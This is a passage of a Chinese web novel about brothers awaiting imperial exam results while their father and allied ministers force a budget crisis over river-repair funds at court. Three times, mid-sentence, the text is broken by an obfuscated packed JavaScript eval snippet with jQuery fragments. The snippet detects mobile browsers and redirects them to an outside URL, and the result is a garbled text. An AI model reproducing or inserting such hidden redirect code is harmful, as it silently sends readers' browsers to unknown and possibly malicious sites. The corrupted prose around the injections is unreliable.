“你们先进去，我买几块切糕，稍后到，”游乘拉上赶马车的虞次，朝切糕摊子过去。 灯笼光下，吃食的卖相极好。 红的甜枣，白的糯米，黄的核桃和蜜饯，混在一处，散发出沁人的香味。 游乘没吃晚膳，饿着肚，一走近摊子就咽了口水。 摊主笑着招揽他，“公子要几块啊？” 游乘道，“五块。您给切大块些，咱们全是小子吃。” “您还给我也买一块？谢谢您了，”虞次递出银子。 游乘笑道，“叔吃我的切糕，晚上回家，要替我说话。” 虞次道，“成。” 摊主乐呵呵收了银子，“来，给您切这边的，软和点。” 正下刀，一只葱白的姑娘手伸进来，吓得摊主一惊。 那锋利的砍刀掉去了地上，被虞次弯腰接住。 受了惊吓的姑娘缩回手，从摊前退开了去。 “九姑娘没事吧？”身边的丫鬟问道。 “……我没事，”九姑娘的脸色是白着的。 游乘认出了人，上来拱礼，“介舟见过秦九妹妹。” 秦家九姑娘秦徐，用团扇遮着面，打量了会游乘才认出他，“哦，你是刘子应的朋友，游家大公子游介舟。” 游乘道，“是。” 秦徐却没理他，转脸看向路边的胡同戏院放鹤楼，“那么说，刘子应就在这里面？”说着，欲抬步进门。 游乘追上来阻拦，“九妹妹谨慎！子应是直脾气，你现在见了子应，除了惹他不高兴，没有任何别的好处！不如，等下次机会合适，你私下里告诉他，你不喜他来此处。兴许，他还能听你的。” 秦徐望着游乘，皱起了柳眉。 身边丫鬟似乎是练家子，“游大公子，满嘴歪理，请您速速让开，否则，休怪奴不客气了！” “慢着漆儿。我以为，他讲得对，”秦徐看向戏院门内。 那里面满座皆男子，她一个姑娘家直闯进去，不仅刘子应下不来台，还会牵连秦家被议论。今晚她被刘子应失约，不痛快，却不可冲动逞能。现在离开，另寻时机说明，才是上策。 “请九妹妹恕某唐突，某还有句话想与九妹妹讲，”游乘对着秦徐的背影行礼。 秦徐转头，一双眼睛探出团扇，“何话？” 游乘躬身不起，“古来婚娶，遵从‘媒妁之言’和‘父母之命’，可成亲后的日子，是只属于夫妇二人的。” 秦徐没明白，“公子究竟何意？” 游乘只好把话说白，“某想说，独一人强求的婚娶，不幸福，很苦。” 秦徐往后退开，眉头又皱紧，“你是说，刘子应对我无意？我母亲分明说，他非我不婚……” 游乘无奈，长辈之间的事他无法评断。 他快步走回刚才的切糕摊位，请摊主切下一角，仔细地用油纸包好，递到了秦徐的面前。 “九妹妹今日来一趟，不能白来，某听说，这切糕是人间至味，某请妹妹吃一块吧。” 29. 府试阅卷 阴雨连绵，府试首场的阅卷进行到第三日。按往年，一般需要五到七日。 天气不便，游乘与弟弟、玄蒙兄，安心在家等着张榜。早膳时，他们听阿桔说起顺天府尹郭敏。说，这郭府尹，竟日日领着几十位提学官，去孔庙跪拜、宣誓，好一个亲力亲为的做派，比那位前顺天府丞肖骁，尽责不知多少倍。 对此，十四岁的游乘有自己的理解。 之前的罪官肖骁，插手了二十多起科场案，被判了秋后问斩，震惊朝野内外。此事虽未结，却或多或少给科举体系施加了压力。大家若想好好活着，绝不敢再顶风作案。所以，这位郭敏郭府尹什么亲力亲为，日日督办，谁又知道是不是郭敏自保的障眼术？ “可郭府尹是尊师袁公的学生啊，该不会走歪路，”游余坚持这样的看法。 不等游乘辩驳，一旁的赵决已按耐不住，“彦维，你还是年纪小，天真了些！我不敢议朝局，只拿我哥的例子分析。想请问彦维，你认为，我哥是好还是坏？” 游余脱口而出，“当然是好。” 赵决同样脱口而出，“可我哥他死了……朝堂上那么些侍郎、尚书大人，站出来支持惩办贼子肖骁，但他们没一个能保住我哥这小小御史的命，让我哥死得不明不白！” 赵家的伤心事已过数月，再提起，再被揭开，仍是痛心。游余鼓励道：“玄蒙，你要往前走，前路必是明亮的，可恶的仇人，等着玄蒙去惩治啊！” 赵决早已看开了，今日忍痛搬出哥哥赵斯，不过希望警醒游余，“该清醒的，是彦维你！这世间，除了黑和白，还有许多不清不楚的灰色地带。朝局内的人，他们看不清，更别说我们这些局外人。” 游余脸色一沉，手里拿着的煎饼也不香了，一下扔开，对赵决道，“那以玄蒙之见，那个郭敏会不会插手府试的阅卷？” 赵决摇头，“他不亲自动手，也有别人。我没忘我哥怎么死的，害死我哥的人，也必不会放过我。” “玄蒙如今是我侯府的西席先生，那人动手之前，还得掂量掂量轻重的！”说着话的是游乘，他想起了一件事，“昨晚母亲说，袁公请我和二弟今天去袁府。” 游余闻言微怔，“难道被我说中，那郭府尹郭师兄，要帮我走捷径？” 游乘听笑，“然后，师兄约你的地点选在袁公家？如此明目昭彰，明天就有礼科给事中，弹劾他一本！” 话虽搪塞玩笑过去，兄弟俩去尊师家的马车上，却各自沉默着。到下马车时，游乘塞给游余两卷前朝画轴，是母亲准备的、要送袁公的礼物。母亲特意多备一份，是何用意，游乘心里是有答案的。 进了院，师娘袁夫人围着围裙从厨房出来，招呼兄弟俩直接去书房，说袁公在等了。游乘推开书房门，果然见到了顺天府尹郭敏，正与袁公对弈。 几人目光相对，郭敏笑了笑，表现出的和善与那日府试现场的威严，完全不同。 “来的可是游介舟和游彦维？”郭敏问道。 游乘行礼，“学生介舟，见过郭府尹。” 游余却没回答，而看向了袁公和郭敏中间的棋局，直道：“郭师兄不能走这一步，是死局。” 而后他把带来的前朝画轴放在郭敏手上，趴去棋盘前，拿起郭敏的黑子，左左右右摆弄。 郭敏捋着胡须，等了片刻才道，“彦维想好怎么落子了吗？” 游余埋头道，“想不出……因为全是死局！郭师兄现在该认输了，是袁公赢了。” 郭敏大笑，“彦维说的对，学生确实该向老师认输！” 袁敞听了，扔下手中的白子，仰头亦大笑。 游余趴在郭敏跟前，伸手向郭敏拿回画轴。 郭敏却故意握紧，“怎么彦维送了礼，还想要回去？” 对方耍无赖，游余也不甘示弱，“彦维与师兄在袁公家里见了面，师兄带着彦维的礼物离开，不怕被言官记录，写本子弹劾师兄？” 郭敏仍是笑，“弹劾我什么？徇私提携勋贵子弟？经过县试，彦维和介舟的名字已在上京科场传开，来日你俩必登科及第，又何须我来徇私？” 游余想了想，便松了抢画轴的手，“郭师兄所言极是。”说着，站起身，退到哥哥游乘旁边。 游乘忙拱礼，“袁公，郭师兄，这两幅前朝画轴，乃家母收罗珍藏，今日带来，请袁公和郭师兄一定笑纳。” “收，要收，”袁公接过画轴，与郭敏交换一眼，各自低头笑。 午膳由师娘袁夫人操办，师生四人吃得肚圆腹滚。饭毕，袁公大醉不醒，游乘游余年纪小，只陪着喝茶，未曾饮酒，与半醉摇晃的郭敏一道出府。 门前，游乘对郭敏拱礼，游余亦拱礼。 郭敏挥手道“告辞”，一眨眼，游余却跑了上去，直拉住郭敏袖子，附耳小声道：“敢问师兄，府试阅卷还顺利么？” 郭敏眯眼看着他笑，哑声道，“彦维放心！有师兄在，出不了乱子的。” 目送顺天府尹郭敏进了马车，游余被游乘抱上自家马车。回府时，雨势渐大，他忽然问，“哥，有郭敏在，真没问题？” 游乘说，“未必。” 游余疑惑，“郭敏镇场，有谁能动咱们的府试考卷？” 游乘冷道，“顺天府尹上面，还有礼部，内阁，皇子，皇帝……” 到东园，游乘听阿桔说母亲在里屋，正去请安，听父亲游怜山走进了院子。 游怜山提着书箱，说今日礼部衙门无事，干脆回家办公。 原来早晨，顺天府尹郭敏找礼部借调，抱怨说，府试阅卷过了三日，批了近千份考卷，还有两千多份未批，把礼部能干活的都拉走了。游怜山是考生家属，要回避，便请示礼部尚书李经章回家来。 游余从桌上拿桃花酥吃，笑道，“爹！本来衙门就空，你一走，剩下李尚书一个光杆，合适吗？” 游怜山坐下喝口茶，“不，李尚书今日不在衙门。” 一句话让游余的脸绷了起来，他看向哥哥游乘。 游乘缓声问父亲，“李尚书不在礼部，在哪儿？” “在内阁值房，宫里说李尚书两天没回家，”游怜山放下空茶杯。 容芝为他续了茶，“工部衙门前日有湖西道的河工来闹事？” 游怜山嗯了声，“十几个人，为了讨要修河工钱，躺在工部衙门前，示威。” 容芝同情道，“不发工钱是真可恶，工部的钱要从户部拿吧？” 游怜山说是，“所以啊，工部和户部，一个都跑不脱。” 游乘想起工部尚书秦家，“这么说，秦世伯会受牵连？” 游怜山低头叹气，“肯定啊！秦尚书是阁臣，他涉事的影响太大。这不？今日内阁值房关起门，应该是在商议此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071207|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不说了，有点饿先吃饭吧。” 心里有事，游乘没吃得下这顿饭。听席间，游怜山说起府试录取，问游余，想不想要“勋贵特供名额”？ 这种京城才有的特供名额，游乘有过耳闻。 顺天府每年一百五十个府试录取资格，会腾出二十个，供给勋贵子弟，是不成文的惯例。得到特供名额的考生，自动进入下一轮的院试，晋升有了万无一失的保障。 游乘对游余道，“二弟整天说没信心，快考虑一下？” 游余摇头，“没信心是没信心，我走了特供，这辈子便脏了。” 母亲容氏笑道，“脏什么脏？年纪不大，说的话挺大！” 游余道，“娘不懂我，爹肯定懂我！” 游怜山尴尬地笑，“为父好心帮你走捷径，你倒打一耙？小子，你只用回答我，要不要特供名额？” 游余坚定道，“不要。” 饭后，游怜山去书房处理公文，游余留下陪娘说话。 游乘借口回南屋看书，坐在了案前，提起笔，想往秦家写封信问问情况，可怎么写也觉得不妥，一连往地上扔了好几个纸团。 赵决来敲门，随手捡起一张，没看出名堂。他以为游乘在构思新文章，推了推游乘的肩，问需不需要讨论一二。 游乘看看他，“罢了，玄蒙来的正好，有篇策论想讨教……” 雨水淅沥一夜，次日晨起，仍未歇。 游乘醒得早，送父亲游怜山出门上朝，又聊起工部尚书秦家。游怜山让他宽心，那秦尚书为官二十多年，是有自保手段的。 宫门前，雨伞簇拥在一起。 游怜山一边与熟人打招呼，一边来到工部尚书秦舒身边。 秦舒见了他，竖起眉，做戒备状，“镜水找我有事？” 游怜山一笑，“自然自然！昨日按秦公指点，与小儿游余说了‘勋贵特供名额’之事，被他一口拒绝，便想问问，您的第二计是什么？” 秦舒抚着长须，“俩小子倒有骨气！连余哥儿都不要特权？” 游怜山叹道：“家中俩货，未经世事，不懂大人的艰难啊！” “是吗？” 秦舒别过眼睛，盯着游怜山，“他俩未经世事，我不信，单就是那个游介舟，我看他，挺有蛊惑人心的一套！” 二人凑近，讲出前日九姑娘秦徐和游介舟的相识经过，只听得游怜山皱着眉，陷入沉默。 少时，游怜山道，“对不住秦公！乘哥儿不懂事，误了九姑娘和刘小公子的婚事，我替他给您赔礼。” 秦舒鼻子底哼气，“不瞒镜水说，我家中对乘哥儿最不满的，是徐徐的母亲，这两天她都气病了。此事，她肯定会找你家乘哥儿要说法。不过，眼下，咱们先推进计划。” 说着，他掏出一本奏折，塞进游怜山的袖袋。 游怜山问，“秦公亲手写的本子，要弹劾谁？” 秦舒说，“一会下朝再看，不用你出面，找个愿意死谏的言官，最好是工科、户科给事中，绕开内阁，直接交给皇帝！” 哪里还等得到下朝。 游怜山进宫门，走慢点，掀开那奏折一看，顿时僵在原地。他没想到，秦舒找言官死谏，竟要弹劾工部尚书秦舒自己，要把工部拖欠修河款的事儿，彻底闹大，闹翻天！ 府试首场的阅卷、放榜，还剩最后一日。 30. 府试阅卷2 游怜山以为，秦舒此举，意在用错综复杂的朝局，拖住内阁首辅李经章的精力，让李经章插手不得府试首场的阅卷。 游怜山是礼部左侍郎，过问不了工部、户部的差事，也没有六科给事中、或御史之流的直谏资格。为不负秦舒的苦心布局，他站在大殿上，生生忍住了上呈奏本的冲动。 熬到了下朝，游怜山转身就奔宫门而去。 在他身后，内阁次辅袁至诚正叫住首辅李经章，说，抓紧去内阁值房，继续讨论湖西道修河款的事宜。 李经章应了声“好”，话音听来无奈。 时辰紧迫，游怜山急急出了宫门，没回礼部，反正礼部衙门空着，问起来，他也有话可辩。 他吩咐马车夫，立刻前往家中孩子的老师袁敞府上。在上京，能与他商议此事的贴心人，恐怕也只有袁家。 却没想到，他在袁府门前碰上长子游乘和刘与之。 二人站在府门前的梧桐树下，见游怜山到来，游乘忙上来行礼，问道，“父亲来找袁公，可是为了工部尚书秦家？” 游怜山想了想，“怎么？你俩也担心秦家，找袁公来想办法？”说着，看向一旁的刘与之。 刘与之拱礼，“世伯，子应不敢像上回似的乱找御史言官，深知袁公智慧超绝，定能拿出权益之策，为秦家解难！这才约介舟一起请教袁公。不知世伯您来，又是为何？” 游怜山笑道，“不巧，我的确为秦家而来。可朝局上的冲突，你们孩子要少掺和。行了，乖乖的，快回家。” 他转头敲府门，门房来应，认出是游家大爷，立刻接应他进去，又看着游乘和刘与之，问道：“二位公子不进？” 不等游乘回答，游怜山替儿子说：“他们有别的事，先不打扰袁公。” 游乘一听便皱眉，“父亲要安排我何事？” 游怜山走回来，“确实有一事，需要你赶紧去办的。听说，你前日挑拨了秦九娘子和刘子应的婚事，现下秦九娘子说什么也不肯嫁，已经把秦夫人气得病倒了……若你俩此刻没什么急事，带些药品去秦府探探秦夫人的病？尤其是乘哥儿你，去了之后要虔诚悔过、道歉，无论秦夫人怎么罚你，你都别顶撞！” 游乘颔首，“儿子明白，这就领着子应同去。” 提到刘子应，游怜山对刘子应说，“毁了刘秦两家的秦晋之好，此次乘哥儿犯了大错，我在此给子应道歉了，来日，会与夫人去刘府，当面向子应的母亲谢罪。” 刘与之忙摆手，“世伯不必自责，也不要责怪介舟。子应对秦徐妹妹，并无男女之意，只当妹妹相处，是两方长辈会错意，才强扭瓜藤。介舟前日出面，是帮了子应和秦徐妹妹的大忙。” 游怜山听言总算明白，但坚持一点，“你们小辈满意，长辈们不满意，说明，乘哥儿没办好此事。” 游乘立刻道，“父亲教训得是！介舟未顾周全，今日去秦府赔罪，改天再去刘府赔罪。至于子应……我又想了想，觉得他和九妹妹的关系正说不清，此时到秦府，不合适。” 刘与之重重点头，“对，我去，真不合适。” 游怜山思忖道，“那就乘哥儿一人去，带上子应的歉意吧。” 游乘应下，又问：“秦世伯他，没事吧？” 游怜山一拍脑门，“唉呀！你别啰嗦了，我要来不及了。反正乘哥儿你记住！经此一事，咱家欠了秦家好大的人情。” 说罢，转身冲入袁府，疾跑而去。 得知游怜山的来意，袁敞沉默着喝完两杯茶，给游怜山点出一句话，“找言官这事，不可大意，镜水何妨请尊夫人出马，走一趟千家胡同？” 关键时刻，倒忘了千家胡同的高人，手眼通天的尔惑先生。 游怜山辞别袁敞，赶紧返回家中，用最短字句向妻子容芝介绍了前因后果。容芝便取出一枚画了庭院的团扇，说是千家胡同刚刚送到的，画上宅子的买主，就是一位工科给事中。 如此凑巧，一切好像提前预谋好的。 游怜山跑了老半日，躁热得坐下喝口水，拿起了那团扇，“小芝，这次尔惑答应你什么好处？” 容芝并不隐瞒，“三百两银子。” 游怜山惊道，“三百？他出手一直这么豪？” 二者的合作有十一年了，经容芝买卖的宅子，也不过四五家。容芝粗略回忆，尔惑对她确实很豪，动不动几百两砸给她，眼都不眨一下。 她有时想起这段奇妙的缘分，时常自问：尔惑拉拢她，拉拢游家几兄弟，到底在背后布局什么，却始终参悟不透。 “不早分析过？尔惑是皇族，不缺钱，为了他的大业，花点银子，他觉得值得就行，”容芝收起团扇。 游怜山的手压了上来，“小芝，你怕不怕啊？如果到时，尔惑摘了面具，咱们发现他非太子，那司宁侯府参与皇权内斗，站错了人，岂非要被灭门？” 容芝当然设想过这种可能，只是，近来预感越来越强烈，“阿怜，十年前你告诉过我，尔惑所行之事，皆是利国利民的义举。也比如，这回的湖西道修河款。再则，去年你还在工部，知道去年就有湖西道的河工向工部讨工钱的吧。” 游怜山点头，“工部的秦舒想把这事儿闹大，闹翻天，并非他任性，也并非故意帮我们孩子，他要借此机会，一举解决工部和户部的老积弊。” 容芝为他添茶，“那阿怜再想想，尔惑有秦公、袁公相助，他究竟是不是正统皇族血脉，太子？” 游怜山啧了一声，“不好说啊。不过朝臣们都知道，太子与皇帝是一条心的。” 容芝拿起桌上的奏本，起身往屋外走，“尔惑是太子，我有六成把握！我去见工科给事中，交代奏本弹劾之事。你……” “我回礼部。带点待签批的公文，进宫去内阁值房找李经章，探探他那边的情况，”游怜山道。 夫妻二人分头行动，容芝按照尔惑的指点，上门找工科给事中的妻子尹氏，以极低廉的五两银子，把千家胡同的一间宅子卖给尹氏。验房，盖官印，交付买卖契约，前后只用了半个时辰。 尹氏应是知晓容芝的身份，什么也不多问，将弹劾奏本藏于食盒内，立刻乘马车赶往内城。 时近午，游怜山已抵达内阁值房外，等着见李经章。 只见一位太监拉门出来，喊了声“游侍郎”，帮李经章带话，说，把国子监治学的本子送进去就行。 游怜山笑道，“望公公周知，今岁上京科举出现了好多意外情况，这国子监，作为本朝头等学府，新定了不少规矩，若本官不当面陈明，一会李尚书还是会找本官。” 太监脖子一梗，“那您的建议是？” “烦请公公把李尚书请出来，他一边看本子，本官一边说明，这样便能更快地了结此事，”游怜山道。 太监说那您等着，没一会，门又开了，换成内阁首辅李经章走出来。 李经章不住擦着额汗，看似累得不轻。 游怜山忙上前，搀扶李经章到椅子上坐，尽管关心值房发生了什么，他也不能先开口提。 “一群废物，”李经章念叨道，端起游怜山倒的茶一口饮尽，便抓起他递上的礼部折子，一页一页往后看，偶尔问起具体，游怜山答得顺畅，却故意放慢了语速。 喝了三杯茶，李经章才放下折子，捏着眉心道，“公文整体无问题，通知国子监祭酒，务必落到实处，严正上京学风！” 正说着，值房门又开了。 游怜山认出是户部郎中，招呼一声，却见那郎中也是一头热汗，问李经章讨一杯茶喝。而后，郎中对李经章拱礼，“首辅大人，刚在里面，下官被逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076492|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问得无话可讲了啊！工部的人来势汹汹，我们户部顶不住的。” 李经章扶着额，哼了声，“就几个河工，让兵马司直接镇压，以妨碍公务罪，打入刑部大牢，不成吗？” 户部郎中躬身，没接话。 游怜山摸摸鼻子，将两人的空茶杯都倒满了。 这时，太监从外面走来，压着嗓子喊道，“李首辅啊！您赶紧拿主意吧！工科给事中弹劾工部秦尚书，长期延误河道修缮……万岁爷那边正发脾气了！” 游怜山在太监手上看见熟悉的字迹，忙接过来，送到李经章面前。李经章却看也没看，一把就推开，“湖西道怎么如此麻烦？” 户部郎中道：“其实他们吵着要的修河款，不多，一年五万两而已。” 李经章抬头看他一眼，“五万不多？你们拿得出？” 户部郎中摇了摇头。 李经章长叹一声，“罢了，没钱有没钱的办法，咱接着进去商量。” 户部郎中紧随其后，回去内阁值房。 游怜山给留下的太监倒茶，“天热，您歇口气再走。” 太监便端起了茶杯，目光盯着值房的门。 值房里正热闹，工部尚书秦舒看了那封弹劾他的折子，冷道，“本官为何拖延款项，皆因户部不给批银子。” 户部郎中态度也冷，“国库虚空，不是一两年。兵部尚书说西南剿匪，刚拿走了二十万军饷。现下，户部变成了空壳，只有下官这条命，秦尚书要，就拿走吧。” 秦舒道：“他兵部有自己的预算，没钱也不能占工部的。” 户部郎中听了，就只一句话，“反正没钱。” 忽然里面安静了下来。 隔了会，像是袁至诚的嗓音响起，“户部没钱，咱先解决急钱的来源。李首辅，您看应该如何处理？” 李经章估计正犯头疼，半晌才道，“袁次辅有何高见？” 袁至诚道，“袁某还真有一法子，不知在场各位，能否慷慨解囊，为工部凑齐五万两的工程款？” “臣子掏腰包，充抵国库？简直闻所未闻，匪夷所思……” “并非所有人都像袁次辅家中那么富裕……” “某才四品，官俸低，一年拿不到二百两，哪里拿得出五万两啊……” 一时间议论纷纷，全是反对意见。 袁至诚道，“袁某知道大家都不容易，可眼下国库没钱，没什么好办法一下变出钱来，对不对？不如，大伙劲儿往一处使，先帮户部、工部过了此关，也能让圣上老人家息怒了。” 搬出皇帝，无人再敢反抗。 袁至诚又道，“既是袁某想出的主意，袁某自当作好表率，愿意捐一万两银，以解燃眉之急。” 此言一出，原本僵持的局面有了松动。 户部郎中说，愿意捐一千两，接着其他人跟上，五千不嫌多，五百不嫌少。游怜山听得仔细，没等到内阁首辅李经章的嗓音。 一声脆响，茶杯搁在桌上。 游怜山听身边的太监说道，“李首辅的夫人是湖西道的富商，这会儿，谁装哑，李首辅也不该装哑。” 游怜山笑了笑，终于听见里面传来李经章的话音。 “老夫愿意捐，一……” “户部的，快算算！加上大家全部的心意，离五万两，还差多少？”袁至诚打断了李经章。 户部郎中扒拉算盘，答得干脆，“差二万五千两。” 袁至诚道：“李首辅，您是最后一位捐赠者，您量力而为吧。” 李经章没说话。 户部郎中兴致高昂，“首辅大人，您少不得要捐两万两？剩余五千两，我回去想办法，挪点别的资金，也就把湖西道的修河款凑齐了！” 李经章迟缓道：“行，我捐，两万两。” 31. 府试放榜 事到如此，工部尚书秦舒站了出来，“剩下五千两，秦某出。” 袁至诚道：“袁某怎么忘了秦尚书家境也不差。那好，五万两凑齐，这弹劾秦尚书的本子，李首辅驳回吧？” “秦尚书被弹劾，背后暴露的问题，绝非他一人之过，眼下的当务之急，是尽快下发修河款给湖西道，”李经章的话音未落，内阁值房就被太监推开了。 太监带来新的弹劾折子。 这回是户科给事中、都察院湖西道御史联名，弹劾的是户部尚书，指出户部尚书年年克扣湖西道的修河款。 李经章没接话，双手撑住额头，似乎已经是疲惫不堪。 值房外。 游怜山正等着听李经章如何应对，被一旁的太监推了推，他问，“公公有何事？” 那太监笑得眼成一条缝，“呵，应该奴才问游侍郎，您不回礼部衙门，猫在这里，有何事？” 游怜山拿起签批好的公文，无奈道，“公公有所不知，咱礼部的人都叫顺天府尹郭敏拉去批府试的卷了，游某回去，也是守空衙门。在这里处理公文，游某遇上问题，直接请教李首辅，更方便嘛。” 太监了然，话题又回到湖西道，“此回，若湖西道的河工能打通工部和户部的关节，不失为一桩妙谈。” 游怜山道：“不知皇上对此，是何态度。” 太监又一声长叹，“每年国库就那点钱，皇上不想过问怎么分配，都交给李首辅处理了。所以，李首辅坐在这个位子，不容易啊，要是一次没办好，他能致仕回湖西道，是最好的结局了！” 见太监要走，游怜山忙起身，“公公走好。” 而后，他并没打算立刻离开，便坐回桌前，继续监听值房里的动静。 针对刚才送到的弹劾折子，李经章推说头疼得厉害，让内阁次辅袁至诚带领大家讨论。袁至诚的态度很明确，说湖西道的河道修缮，关乎民生，要坚持下去，户部必须保障每年的修河款到位。 户部郎中提出，此决定，要与兵部尚书商议。 袁至诚一听这话，有点动怒，“兵部有兵部自己的经费，不够用，让他们去查内部的蛀虫！哪里都缺钱，就说明，有人……伸手了！” 众官再无声音。 须臾，内阁首辅李经章，定夺道，“按此传到兵部。他们有任何不满，来找老夫谈。” 袁至诚闻言，敬道，“首辅大人，银子短缺的问题，都解决了，但是该给工部和户部的处罚，也不能少。” 李经章默了一瞬，恐怕正头疼欲裂，“袁次辅决断吧。” 袁至诚便说，“工部尚书秦舒，户部尚书、侍郎，各罚一年俸，毕竟，河工在上京闹事，影响恶劣。再就是，户部郎中来督办大家的捐献，三日内，五万两修河款要补给湖西道。” 工部尚书秦舒道，“这笔钱，河道等着急用，不必经手户部，直接交给漕运总督孙海，带回湖西道。” 袁至诚也想起此人，“孙海正在上京述职吧？由他带回，确实更快。” 商议结束，李经章第一个走出内阁值房。 近旁的太监上前扶他，“李首辅头疼？” 李经章没有拒绝对方的好意，由那太监扶着出了宫门。 门外，李家一位遮了面的幕僚跑来，送李经章上马车，一路疾驰赶回李府。 “首辅大人！”李府门前，漕运总督孙海躬身道。 李经章痛苦地掐太阳穴，恨不得一脚踢开了此人。 他冷静片刻，松开掐自己的手，瞪着孙海。 “四万银子！你现在马上找四万银子来！孙海，你凭什么？盘剥户部修河款的是你们，受罪的是我李经章！” 上京城，灯火亮起。 游怜山刚回到司宁侯府，一推开东园的门，便见容芝走下屋檐，朝他而来。 “秦舒怎样了？”容芝关心道。 游怜山让她安心，为官二十年的秦舒是老狐狸，这点意外不算什么，又说起李经章，“多亏秦舒的几本折子，李经章今天忙得不可开交，根本没腾出手去顺天府。” 容芝松了口气，“那便只等明日府试首场放榜。” 一家人晚膳时，游乘主动交代，他去过工部尚书秦家，倒是见到九妹妹秦舒，但秦夫人称病得厉害，怕过病气给他，便闭门没见他。 容芝安慰游乘，“一次不见没关系，咱下次再去。脸皮厚一些，秦夫人定能被你感动！” 游余道：“娘是开玩笑吧？明知对方不喜欢咱，咱还冷脸贴上，不怕惹对方更烦？” 不等容芝开口，一旁的游怜山把话接过去，“这厚脸皮，可是门大学问。再不济，择个吉日，让你母亲陪同你一起登门道歉。” 游乘摆手，“不不，儿子惹的祸，哪能麻烦母亲出面？” 容芝拉过他的手，递上饭碗，“可我是你母亲，母亲怎么可能不帮儿子？” 游余道，“哥，娘对你真用心，我有点嫉妒了。” 容芝也把饭碗塞给他，“我把丑话说在前，你小子，敢给我闯祸，我就敢不管你小子。” “爹……娘好偏心，”游余假哭着，猫进游怜山怀中。 游怜山哼道，“你知道的，我永远站你母亲，所以，你敢出去闯个祸试试。” 游余望天，“爹，娘，我是捡回来的，对不？” 次日，上京终于放晴。 一早虞次便从顺天府衙带回好消息，府试首场放了榜，榜首是游乘，榜二是游余，赵决是榜三。 游余对此结果满意，却也因又输给哥哥游乘有些失落。 赵决提醒他，等明日府试第二场，他一定能拿下榜首，“因为你哥首场夺锦，只要过了三日公示期，你哥可免第二场，直入院试。” 三日后，府试第二场开考。 果不其然，游余拿下梦寐以求的榜首。 而刘与之稍有进步，夺得第二，赵决，仍是第三。 第二场放榜那日，游乘带三弟游编一起来顺天府衙。 朋友几人心情大好，商量去哪儿散散心，忽听游编喊“外祖父”。 几人回望，见内阁首辅李经章在不远处，李经章额上绑青灰色的抹额，似乎在闹头疼。 游编甩开了游乘的手，径直朝李经章跑去。 游乘赶忙追上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087328|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，闻到一股醒神镇痛的薄荷香，行礼道，“介舟见过首辅大人。” 李经章皮笑肉不笑，“乘哥儿起身。” 又弯腰，将外孙游编抱起来，“编哥儿近来愈发精神了！你这腰里，挂着什么好玩意儿？” 游编把小竹笼摘下，边晃边介绍，“外祖父，它叫蝈蝈，可好玩了！” 李经章嘴角轻轻一抽，笑道：“这么好玩，谁送的啊？” 游编小脸一转，指着身后的赵决，“赵先生送的。” 登时，李经章的目光落在赵决身上，“……赵先生。” 赵决上前拱礼，“问首辅大人好，望您的头疾早康复。” 李经章冷冷地回，“你不必客气，论感谢，老夫该谢你教导编哥儿。”说着，将游编放下地。 游编说：“外祖父再见！”主动牵上了赵决的手。 赵决躬身，游乘亦躬身，“首辅大人再见。” 李经章回马车上，想起刚才游编脸上的笑，顿觉头疼难忍。李经资见他眉头皱紧，忙吩咐马夫快些回府。 正走着，李经章忽然道，“经资，你瞧着编哥儿，像不像三殿下？” 李经资道，“真不像，倒越来越像那游家三郎。” 一掌拍在矮桌，李经章垮下脸，“不会说话就闭嘴。” 李经资拿出桌下的几盒珍稀药品，说三殿下府送来的。 李经章推开那些药盒，喃道，“三殿下与王妃，成婚十年了，府上还没有喜讯吗？” “没听说，”李经资道。 李经章捂紧额头，眉心川字深刻，等回了府，立刻让李经资收拾行装，写好告假的折子送进宫，又将内阁事务交给次辅袁至诚，连夜离京，前往故乡湖西。 这些事，游乘无从得知，后来，他听父亲游怜山说起，紧绷的心松弛了不少。 到五月二十，东园给阿桔和虞次办了场婚宴。 二人感情有了结果，晚上阿桔到大夫人容氏屋里说话，容氏感叹时光流逝，再过三五年，俩孩子也要成家。 阿桔知道容芝心里的打算，只说，整个上京，最合适乘哥儿的，还是秦家，门当户对，郎才女貌。至于余哥儿，可多看两年再定。 容芝道：“你挑中秦家，无奈秦夫人看不上乘哥儿，至今，还生着乘哥儿的气！好难办。” 阿桔想起一件事，“我前日打听到，秦七公子想卖宅子，好像他被外任到江陵府了，虽是同知，正五品，等他五六年后回京，秦公要往上举荐他，很容易。” 容芝起身，“江陵府好远啊！既然秦七要卖宅，咱俩明日去千家胡同，尽快帮他解了难。” 等天亮，容芝出门，带上了游乘和游余。 问他俩干甚要跟着她，他俩异口同声，“保护母亲大人！” 鬼才信。 容芝同意带上他俩，唯一要求，是他俩千万不可怠慢尔惑先生。 “怪了，娘居然如此紧张那个外男？我都没见过娘紧张咱爹的，”游余十分不解。 